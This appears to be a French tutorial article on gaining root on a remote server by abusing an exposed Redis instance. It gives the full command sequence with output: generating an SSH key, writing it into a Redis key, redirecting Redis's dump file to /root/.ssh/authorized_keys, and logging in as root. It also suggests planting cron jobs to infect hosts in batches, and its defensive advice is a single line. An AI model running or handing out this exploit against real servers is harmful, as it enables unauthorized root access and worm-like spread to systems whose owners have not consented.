Maison > Article > base de données > Parlons des principes du minage Redis (exemples détaillés)
Cet article vous apporte des connaissances pertinentes sur le principe de minage de Redis Ici, nous allons montrer comment utiliser Redis pour élever les privilèges afin d'obtenir l'utilisateur root du serveur distant, et comment le protéger. tout le monde.
Apprentissage recommandé : Tutoriel vidéo Redis
Aujourd'hui, nous allons démontrer comment obtenir l'utilisateur root du serveur distant via une élévation de privilèges via Redis.
1. Nous avons d'abord besoin de quelques prérequis
Condition 1 : Vous devez d'abord avoir un Redis, et nous devons connaître son port [par défaut 6379]
Condition 2 : Le mot de passe Redis ne peut pas être trop complexe ; , ou pas de mot de passe ;
Condition 3 : L'utilisateur qui démarre Redis est de préférence un utilisateur Root, ce qui est plus destructeur
2.1 Créez une paire de secrets ; La clé
est générée via ssh-keygen Bien entendu, vous pouvez utiliser celle existante sans aucun problème. root@kali:/usr/local/src# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): /tmp/rediskey/id_rsa
Ensuite, la valeur de la clé d'attaque est générée via la clé publique
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n";) > foo.txt
root@kali:/tmp/rediskey# cat foo.txt ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali
Le but de l'ajout de deux nouvelles lignes avant et après ici est d'empêcher les données d'être connectées ensemble et de provoquer des problèmes d'échec.
2.2 Configurer la clé de RedisL'opération est la suivante : root@kali:/tmp/rediskey# cat foo.txt |redis-cli -h 192.168.243.129 -x set bar
OK
Connectez-vous à Redis pour vérifier si elle a été écrite dans Redis.
root@kali:/tmp/rediskey# redis-cli -h 192.168.243.129 192.168.243.129:6379> get bar "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZB1Kb/3lHME9MfDqgYyR6t+cvZRRptbakeGw8QOeAVzIbpPpU1bxintCJjpV4g+2hgesSI9Mlqtvqx1GWd401eoK1nKZM3qNV4zXGs5Ql6ylWBNjgUKuDQ/Y69aWzm3CbfA2z8zMMdVY/zJi71u1clxxkG4JE6GuntaWVzZa3BxBDhTLLYCyx/bMA9tSfYnmOL2zH0ecJDQ99y+dSu4UhpK9BJcyKVoAzljm2Q2TbOMI4EvQQcG2EfrX/YlRtlOToEf5DPeZtattFOajbLHVXM4AIug91xB53sfGcNJ6dLbFKlG4bYG/cmtASyR1y4Ef8rb/VMGPOVfzCZqebXgc1 root@kali\n\n\n\n"
Voyons les opérations suivantes192.168.243.129:6379> config set dir /root/.ssh
OK
192.168.243.129:6379> config get dir
1) "dir"
2) "/root/.ssh"
192.168.243.129:6379> config set dbfilename "authorized_keys"
OK
192.168.243.129:6379> save
OK
192.168.243.129:6379> exit
À ce stade, nous nous connectons à l'hôte distant pour voir l'effet.
root@kali:/tmp/rediskey# ssh -i id_rsa root@192.168.243.129 The authenticity of host '192.168.243.129 (192.168.243.129)' can't be established. ECDSA key fingerprint is SHA256:XTnAL+b8HB5FL/t3ZlZqt0EfmTBgj7TI5VBU0nSHSGU. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '192.168.243.129' (ECDSA) to the list of known hosts. Linux kali 4.19.0-kali3-amd64 #1 SMP Debian 4.19.20-1kali1 (2019-02-14) x86_64 Last login: Sun Apr 14 20:52:40 2019 from 192.168.243.1 root@kali:~#
Cette vulnérabilité est assez puissante. Nous n'avons désormais qu'une seule autorisation d'hôte. Que diriez-vous de l'ajouter à une tâche planifiée pour exécuter certains scripts, puis de l'infecter par lots ?
Les conseils de prévention sont les suivants :
Redis ne doit pas écouter les adresses IP dangereuses. Si tel est le cas, veuillez ajouter un contrôle de pare-feu
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!